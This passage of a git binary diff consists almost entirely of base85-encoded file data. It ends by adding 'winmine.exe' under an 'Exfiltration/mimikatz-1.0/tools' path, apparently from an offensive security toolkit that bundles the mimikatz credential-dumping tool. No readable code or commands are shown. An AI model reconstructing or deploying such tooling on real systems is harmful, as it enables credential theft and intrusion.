z$<~~(AkL^ro^!7He{oh5@7)z#yXFoKV4u4Z!cpLWU$n||hyGhIjwv5FK$X&fpx_V@ zLFt!*p#Bv1?39ms=aafr*=O#kAXabBuCujUec#31<(Yb7UW4DJRbt9Zwerflov6Ki z=PS=~)6c$lvADJM&CUB~BK3C{oH?H!(7o-l2R$F3{w1NCh5GLLTH~b08+jMRbg{Rb z(Ie^b3Uk*y)qy2DR-})tad*V@Dh<{TX^^q#tc&Zgo9i2#Gk??M&grAox`x($I(^)T z{6-(1`!)S-%xh_zLC23zo0Mx3@NKV2`JL8` z+IDE>_i5vGS@~clXdjw?cG{QDZGa#_k-QX1AlRq$NuaYK`;=5Dvx-hr+j}XoobZDo zU-2{wC+}`@a2G{84*Q#GPPj5NGe4IgSk=WTrInaa9Q)Yl4_#5&^vQ>c$(|V(y;f{F zTJ%)E2AyV&W-=no_FFV-4H6b`~$^CtXiFTYD-i;FG9wC#UAZQN1gqfd1pO zjyAhm_BFK5&&`wGtvTY^zMuJ#6TYpLd)}_7vaPAZ_DVq^M}|IV?Rd#gG0A4r#F)Z5 z!Na!g>+sVMgV&GJca1r`^xW!%l-R6>v9~vEel&dR@rTR*sI;hD7pq40C*3b~me$PJ z*f*wc`_L;_pIqBLZ|LEi>qGqYnooJLXRc9a%lLN3FYU?bZa-*Ked&hI-FnxG{+N^P z_VApvet>IcTA3dEx?jw1-ZcGa`MZ{`WwSFr%t=fdPmSW73@`sYFGJnz(9{77jzt*WH&~nRxcT*z zZo@o=g%6*Sw6;!D-($(My$XBZ9@1cZAMvo=2AJ9Ua~Q`+{y#zOm>HJUh}u<^5DCMy z$erZdfo-O5bz0FOf5ML0cUQLb@H%vgPCYdds_02gER7*DoQ?w~FXo|334KCF>8|)3 zK}`v$sMwbsyuIT1`H^KL<;SM@jC-UG-PxwBf$hgF9hJjtJ#d}4d12>r*T!yYS@WlN zE0-MI{C&r|HIt1J2KUilVAb|P;)cH2R$JPh8TM>kgK6c{j z_&qmvH$I+y|LAImb0fC?7=57GPv&)ZXIyJJYkf`i+`1z#ZrD&MbnNrl`&8{`*)*6P zF}gy_!Z`xnGte-Y{y+M-6u{l56L}vRwsXn`6T^GGtBUTz7oaV6QSNB88Ry&uCx^_FZ z`MBp+(`FxAn;F`%#rah4b@d=HAzcmxHA%Ati!@k3Qs201S`sz==g6Z^5CM@#E}({- z!9`RkoC!w}aRjS^tn!iq5C5VKSqbu}p}aor&&pM{O!7)diHGE(x6()EqYP}};_U5c z>nL~jvUT?KYOAP^qg~Egsa3p@qdM7gxl2*#@=wXB$5PvM)Am^8#?}A6LDc%n9Ztx% z?WyGQK3C;b=0LM`*6}aPNcWVP{(SS3ftFEC+g|FhsH4;7Gl>tnw%jmue!Er`jqIHJ z`24odZLD6b-ZJxqd+i@IZ2HhGv)iJxDKk5S4Kq8n#`g87+P~dxwBh%Ya}A@Gq=xQm zdFW)DEjQMNn{slh}0mrzP#N@<@*);f$z zh;n`gTbZ`W>^0GC*LTi~t{4~$tJC@EqnV2j8;!GHf4ohC@J6QK3&C4ry3%lI#5wmqrARd==5I-oS=c-Hqn$HdRRTE;?^Ana$3O zS)LVnaN|giIjx)h9KNXGw=FL3H0)7j@wy8Bd&j$tc^WnIb?k$4&uZDMb-40_qU?@$ zR`G59-=0xh{oZK26?@ltx8dsCf~wn`-q?(<(>}^z{-_tZ?e3UPG`bMpa)M=_vI)!f z_-1#?YtxIlc+ECE*5;!9?jUv9R)1{k`TX$x=KEqI3j)rzN;%eTZROm(XBR3gcE+5a zc6vaY#@*T~%eo!cf77N5J2pxgsmPNq1jd@j8GR%Eiw7}!+8aqNc2Mq#e;rS5^!7#- z4Tg{O9ld(~l=$R79FGlp-$tIK#l|yHM96y<*yS`W^%jl{-_lOw_iqw71m9tP)11Z{ zsy+>$=}S_jm7wg^S~6fV?LkO9z&r^Xb7t9xW78jAxRq*gZu-ppBk8^7TuIBn-fK_e zE5lD-`_NTUChqa#N#-?2znI$1X6EIxFB9J+&zVyDr)SPfM@IR~UOCfbSD6_vMt0mV zX#V%IO?R(Uaj0{$AZ^Q&YpR$#Gxn{q?KOY?(X5Hr29)o2WBknli(1@sY`W{@!z24b z*+HMS8@IGdnbbVMFn#%oEAf-pdA70q#jyLZOX;;*jY>`Ey`jH_c@MAb1J3uN8?}1i z^kCMm_2*to{}_Jq^5KT}hgax!&22!7?zSy*>JHiRYR9lO3kPTCWNluxw8xZi(?2RI z(i(2NykwNuyC>By9dCTzZJPTBm+GsJ)+)QaS?9ZpEvJN3uIf8!!22%q^YrRKSife` z=|NdAA@xk)Wb_{&mL-=;49nsLT$EoZ_{Vva3W%7J(0@rb@#`jOo7PR#`}TPDn+U6o zEw@~J>)%y-h(NBAhKSy#3KIWuzdqjID|&H{nQhk1TX-~eViRkR3%C3)2Cq6XukY?d z(h+?ZF07HWx^L3@UviE%3;kw*erA(88=edr6#MGbn!OjFr=OYmYdfQyr1W(T)w{iJ z_sD6oG$S$Jy1@DO+x6ZpjRu4B?I`8s%7#-G*Z6pK#P`(p zB#;ZOmlOKYZrbfW>$nvTb&oC(YL{n>A@`K-i%9%vKYdxQ+WQ*}B_Hp<8NP#nd|c zd(XKS21B>qzt8jS_s!!u_xyR!d)|NNea|`fV#R0rSO#NEK}w|nAvp*@8b^c0bLK&fObMANMeRQ@3o>@` zUqH7?jU80cU-k)PL>KWo!vxCsc^TWis-?C@tpUfGXaG)@g>)BE+Ru;fRT7MqEkMU^ zB!XLyl=ky8HkelZ|Hc1?64)N$s?S-?+kEZ@7I*FTv-so4_=4)lz}kI&Hk$cV%rE#J z&3wiz8Gn$=m^R|prc>&D-Gk~%ZMsIiMVqcyoeehQeL!m?%EXOwfDP4&Y>9@->9bTv zjPe;&$v^LZ78CGWo(=jLu;%j|?;bx3#rr@{%JV#0wGl@HOT7u~{Z9iFK-mq<(B*{v zL>`(zLxbHo^C6O7b+vhDFNunHDi3k3j(QvQSSH?G|k(b1;Ild zT!A)1+&BS;`2@t%62cKed#Qwo2x_9c9vJSEKa!-QJEeZCpQOigp2iG8ZO9*g0fR#+ z&og31XLZU$Yyxw1n0p8`!tW#&E92*AmbXBAoYlyZvMU|joXC81PP*)jZ4XEI3qCJO z)uW|8H~3_|TWor%FMnvv9yGoQr^q*uA~E6RzvWN(RsfWry*Z`t^yPK_#BnW^>Kuhv zW!g1co2ys(4*x42zpAg$2Cr^S{u3`EIgMtJ`T#I$p9W!V5Aw%-KA`DsQ3`*gm-}4& z#`uc>sjf7Byb6FLPS}U86epMRtYF-+2fX}{Lw3w?V3aoEB1#D*FZH>!SCul5>q@>1 zJ_Ob(pEu3`Scw6>z{jV7u{))=`CRP_Q$N(!D(XAksYlfAOKoq$g!B0KBvU(m`Gwbb z7TIP62UWd56simw#W{ke?!orExbmrB+?htu0g!1BxLHI$P~4b_u4)U_AKHGr+b?f-X$0$ZY7x? z4I1AlqLE}}`P}(Cp?H28>K_TLF2XuTQpX5!Fy(m)x}hT3(yj*|=o}$~u*|V9%qO); zSN{t@s0XHb4y^~h;^Jr~wa`y%ci59PSe5=gSottp~1Z?N?Lk zdR}o=ub9%>r{byu`NL}V#0sp(unSXjj~7EL<6X$p7prCFJTN^#Q}T+7x*&r8{e#0N zPo4yQ{j^53K`(e|qY{wi(25AfAEyBx(S6KcIkR|pV0DmJtPJt+3J~f;*^6>M%6TZe zQFc|DNc})6m)r`i-O1DfUf~QG)r=TZg7GKjpI~NiLw3sZq@c+mmoio|7O_btM8{Mo z4?8Li+s6dP2Zu@CXny3w{eIF*g`>prXbwR7<5X4pCNhsaiAe?TV4wKcCRap8GY6p< z`e_?TMJ%`bOQ?)yQibeFII@B7p~iD4*K>{_AI*FoIsL$M?oqooU6k}dw`hbBV0xD} zWYa5L6ZcyEg;u{9G}FI4{=GeZX8f6CgS@E3LQv$r38OIY4Prud3HML|Q+5yLc3(l4 zwn4y1y1AgPL{JKo_7KG-9^yq^%mdD#ac+T-*ThF8HzmR(AWH$Gdx$r|aY?|@{wZm- zFiWoV*_V4XWb1w-nJY$UgSG*hXyO&q*aZ<1yd>;UAB~>`rvenV zz}=md#&aJfVjSIr$vtyW{6;QroaKTjmi#8?aDjy+wN~LU?Ow15N|MX^#h^?Q4pxCuSm0Pj17ZU_8knT%Mgs;tcz8+}nR+9yKnX}UsEc@D3ToB^QxjuY z?|Q}bXy7UVPu#%6)7mkY9-iiKS_E>HS4?YnGqn|n3Wd#9_7l}`6w`bOe9CIEyq%Ea zeLOi;cqetjSs_vxeap!%l#;2W2YB_c0i=51Jm?gH@oMb`OD+Z?y~5z(t9tl632Raa zx0S*~`y^8nTKh$oj6+9z{ET5=K*niW9+|Hr6hDQY54t&*q|?ZjR7f#p9G60uqSlVt zbYV_M=(IB)fi#Jx+^)Al0}q@h_JzV{G;fJBx9ccI@Crjaq%f@J@RYzswle-l=&{Ic zo*}oY^D5aJd6+ve4ze?;pPHZgi930~0C%%SQQij(GsC=l=VRJ!GVQrTh<+~9lFQ}{ zusT50hYjs>iY>SMtEdP%$y?m^n~Z;=!D4RZ9NG{zoZKFa2Z=DTZ0OO=m(SijsEuW6gX_kR!vmY#+&kYGtv!#a4j#@UtFjAKAe_L`48F-h5)L_a zSMlI@2k?+6{m$_uinMUl;&di+kCxfs6KNTnJ{iXC3K``DO>Ql>`w!Dp+BD0xbe*)? z3#>)qgks|dA%dA0Xa!IgG%A*Ano0@5j7GmUzeZ(@Iu6ScI%fjA_&Bl736cx91)eXoPN$ z5Q!huZSK+V7=jKASyGilR0YmS!LCDm6V`_MCPdhE$&Hd?u-^TKdb1#DJ}*mg(~9b| zfqMK|LS|_Sk@gmeP0taIS}f<8bv<#=vg>5UybPWBO$_mXON7jI$*flcW9udq-p~aZ%1I{PT24;9~97gQF;5qUFY>^}!oXC?sYf10Utz@*9IP1@ zCKmGWB*`ZXVkS!hMtd0oLq^3U2*UP2ID8rbhh2C&gMg+o0+XPQCmr1VRo&ewal>mD z9yfY-=wAr1JPunmPUs!>fy1`zsw)5yeAvo1Y!jParj`#CGo2;bqK(2oOq9zcA8^}Ky0`XhiPB=eG0p{ zeArC8{iI7U{t!_#q7)BK6wMrMUSDc@6dYtQcuCw4K6+Cbtbr)YM`75=M zZ#W4|y~>wyKnI&(LtwJ47q1!2w#Fhx_bfl5Ds0n;-Xn1g#7nK3#6*yUT zlNb+uSI*!Ocirx1)wnyzA&e9TluuxvrQl))I(*fA zZ|Ai}M7p-`Mt6yQ?SsRAj8XHYBWRzOpR_9#ZPJ0e6xHXhj>J!4KI5SbVJUFbpO6&v zDlhhyb}HPlQM=~Q9l703Fd`V>Rla<^?-`H2)% zGO~*%T%9h*pWlVLcbgj#d@a6{wfRcoESxOdR2e6FDJS@eU--g2L_fziE8P_XI*Tge>a zr80thmJ!E9mUt>OvH{m)c4IjJEp<3AmEP@ARKz-38bE0=&r_ej-OuJr+rcrl)AMV1 zvW2#V3m4iKF3i9~LBcN+cD7)F!{JEN4HY9s&#zJ`Xrmr?9**8Jm`whG5SdJAfiRgB zc$jvNi_KnV$I!cWu4L+G;$+{G>pd|Mp)q{~`d+mzJXax0)YJj$#h-1>{F*(owv5N~O&DtbA6I zd@f4*&YJXTYjIk6SrUoOSC&}u!}AF0TNp53I{sVIY3Xb`-|2His%M>*TT2njoG{jamSD_hhzv^5 zKt9BdTTQ3o5JA{!G{Y@pZba=$IE@QpdMCI^M`C>UidfFYBnER~+)Ro;w?Y`^ARZy3 zPLeT?o}WhleCc_#|2FoBYj=_yd>dXZkZ-%sBy&2IR2B{H8s@L=O6QsEReID#LqX%H z;8aNipnhSWy=7R(mBvX4;irS)<+Ej^^|XG8>GB)5pRP1ou7i{Uj=(Rk&18&EX}BN0 z^oTcN{Ha2I8<)k&4@HbgS!uY*_>Lf4nL}+~Um9rw;eU4BxDRX?pQr3gls!q=H!1rL zWwbvVKaR{YBa%m?x>xC-e``91{vksx;u}_Ae_(W863bsIaI3)W5qBBMnmMs-deMh)*z@QTHY zS^3%G6GMip=j5fK4)r7aS>KcB=AIy8upVapRrCxf6TX?A9cbaN>r47~QrAYMj(c{a zRHug=z3m$t{ME)^)2k?$)2%$GmVigG+C6cC4gxx-Q9zd=5Y^KBZ+8A&3RCuWKZd+A z-i+R0>aF4v*zxxKp!X}oXzhHLAVP5!eU+)V`VZpS`xOO?UpoQLow~hvu=t%`Y+^1v zclmVT6v zAS>Pm3d1Q6F$ns^E)Xv&Nb+f_6DGku<$x8ZUUI!oC`S0+lDCuFO5icu=#rD(a}4t} zTF>GR+gEtxuU`8eznDT?`uPV$+08rF+i}DZGL;CWFlKKjxJgomyc>y#7nWV1#C%~Xk;*}P>7$|gGu0ZNv_99{x50)%Z7yGp# zWdnWa(DnMuz1NpApHa}syv1{Qxi(b@T0ej7QY~CfI5>|`YrUlw=*S3{S&fq zxdRZBVDilkwm9=Ln3#1wBGl-}wY-u%9}O3uz;THBMiq*qDe&KUg+$dhE;l=K#MMV< z6$eGHU?k8f<@kkgylco` z@LPm0?iM0c*HjzdLYNW3NV}F&echKHT@L^Jrg3IUgz>kmsTDajiNO?m!~hdy1!Qg3 z_DIqnF*0TFA|<$`LL;L}C-I;1{-4vjAe1dlF< z1I*(^q=4RN?rI8!X?nX_bq-bit`RE)q)2&c0(@<6}Ze*4s-p( ztHK;;TaEny-yoJXh83Sc9J^6_Kc#v~PN_>a;srid64cx_E_M>S@;~GPAMNU~KJ@~E zx$6t_yD+~K^g4p5IOtn~n}i|bYk^cUW6|Jn(0Evy1;%zx?#3#E#TCC(jaT+AKQ8Tsw}0@l#?VFIp~mI#Rh zn-5Zd+}DO_@zsN`6wTcy)Xm)XG9yZ`ICHSU-zh$Az#T%6Zxk+_8h58PlJgXhwX=;~ zz7C+kU4t9!`bd%3Zf|d3y^s64Fpao?NO>HvBv5s|uxQOlGlK@)w9rg3_VsC#W%TjO zouwFA9akV0`gTTaj^oa>TILZKiOky6(6)%A{mNOi&fODNn~4Du=f@Ql4|5eRcq- z$EM5U1ISY=kTs;X#XBG($Zkc0J*3~%kP%09P#`&cuL4c2r`Um~9}jw#Le%tJ4YPy; zRe&EVftK=-@{-wd1E!6L?dBZ%xhsk%T6S zLL=f#L(xO@~v10HJL8}wpRp_n*lWQY&It)!ZY75;Fc;1v%vAmxAo{YXG%fnbq zwo@RZ%RhzYH;G3F5szu{79tNs!)k$Q&ZkELCGlT8*puCLLjCa2m?DoZ8AF@+@uBhj z;vwot{v^%kLX8SML&`HI<`w%em!)Y?Bo1y?-Mk%18xDU!S1Gs`;X&Mb`$)rd<;mc# zlpwaVXHB%YofY(5zyG|xu1)%AIPD)+24N$+<#@POr6QQQs z_@6TT*6CR|#8(>^u&_iV+!du!rocfT5v=efx~mS?_I2V=7|Oyk3v~ycI4%12(P(P@W#l=b?N(=;d3zdYNz3zk)vh5mRWBJ1qKl6a7c7r+?o8@deLROW zgjk91nO4ZsjM0)WM(`gVpg{u!pU%_26JI(ix!%Z@{%!PKPny6tj&A^&rCdC<4Qt4I zsu`G>=d47TdsZVa9@KLTFevBNJ(E=Sl%i*V1`JH2uIEfq?zxEk2mwQ`Y5Wffq@$T) z0;p)b4;l5trtYMfdR#rX_Pn<4&E&1{CO7s3Z9TheqP|!gv}>>0;Y!ZoEng-+!8l8= z2r_Zhd0==Jp>YooT83uwG}|kce0`m4O`aQ$x59}C9xkulu$K>73E>+cD5+X$S>#1aUQ?F|>?OxA`~-#%esH)hTt%8y{Hw>$ zPW@~2zXO_(`tK+8@|-ft#k>O!&@EPwp5sIjwAdD{EzhE#kSEphKgKdbF0W`nhQ0X?;mF`UQr7(Q+g->)^;Ql375 zY9q>M=6di<^NeQt%~HzqI68UG;XRNP!uesUdDfs;clCEs1>YE!qH5d)r_KxX_v(194Un(&0r_6E)dv9M7I^@hhPdjn^Jy%pyXIS-2Q z?zloj84aZ^8~kg^qte{?gvP}KWBAzM3_eackM|8f5Y8Q6?Z6w8WF~IICmV>&3-yXq z*lBK)!-shcU(cPwcBoNO2w@Q4_^hK=&jAd!fe+AE0>U0s1#1D7Dp(`(QjxD0c~Iod zA|FI9HGmCO2FS(v#rTvtpSkkoBW8BWT5$P(@O4Rd^ZbP~YiGFuuZ!HSQ$ifnSEHxxQ@L9hylqZ9X zb%m@J%!fHvqpd2f?HuNie_J*SXO;e6lxg+$ZJX~a{^Y9K#zyv+EE;QRNi;F`b$fG5 zeL}5cY>Pd1uwG>>Y_Bt$T()R^(;mhiu-CQ3Vz3ZwrJZE1`p82dhz5_|VIvp=U271%!ezL*+IJj~b^?fYvQ8=HXl zX?sgd7N51Z*6&NyG%~iqzSr#iw!PJ)>ji-&-hz))BT763n+F-@?gX>Y8xm9Y=A&5cd1u`(%$-?LYNQZS;< zLcC?$)*MS%1I`nc&B>OQSVA@1w$`#uY%>%zGiW3IiKA?R&|(|euV@q%w2b(qKo9E$(Ve!CIatzQia zakKt3HWS!Xu;#S>depnj`m<)gHP(8<=3<&I`x~wgs!UZoB`%RjXEcAK0?BJU}ISJHoQP-lCe7KqU$F&iR>bYLgf1 z&bzPv;aI{;qgz*cYn#0E$IVTkUDyucsV6)iU=SE(8^|-6_DcWLib3>~e8}=_UR&SV z+*or6Q`fh8iBT`4;w5J?Gt3m+>==}!jJ#G?nn-5HgYWBQS^z~*qJ`mwYMS6>sP5Z? z*IM_7y{(|25!T<>>ixv3yH~9t+0n0gkDngmN0(Oz_xMGbGB~CW{46`LbY2Ju(m6%u zg4T6j8bB(eXE^atqUk`wiy(lNXi-IbImYfm3U1rJbw~N9qno!?Rt7d#u_D~Q5RRs1 z@(pAn%e|0Y&Hg?0`;tvbnq^LZQ4vAZHpN;K%T+H0f&-9|7almdAFfH*#~gfn|CR8- z-V*z4vc4q-D&`_4yvamMY;V)P1pG+t4AFw9Y(eL|{RKpX?5}TZjP0vww1yTHc?v|{uoxxA(&LW2B9Q|Rm#|WZ8LfhQPW#cOBke0*V25X4=YvICu*Axv@-K~ ze--)=erp=zO%%de0cN3eaP3{Jpz+|0&i=i;m~q7W5Fx6C1=VLWt8H&nvawbySNvZD z=>VX|i&Pb;!0rxDJn)yF?BhtKWjn-=+E-Brerw_5{7AHS+}F~SB!~7fq@8H1MT#Re vBdJIPLm`{S5lq-DZ(g^PAswhsB-EYKu!}#rb8|)Ms?FOf07r8Cul)TpgUYm& literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/tools/winmine.exe b/Exfiltration/mimikatz-1.0/tools/winmine.exe new file mode 100644 index 0000000000000000000000000000000000000000..3833d6ccea61f11210c4de6dc27489f6d71ee41f GIT binary patch literal 119808 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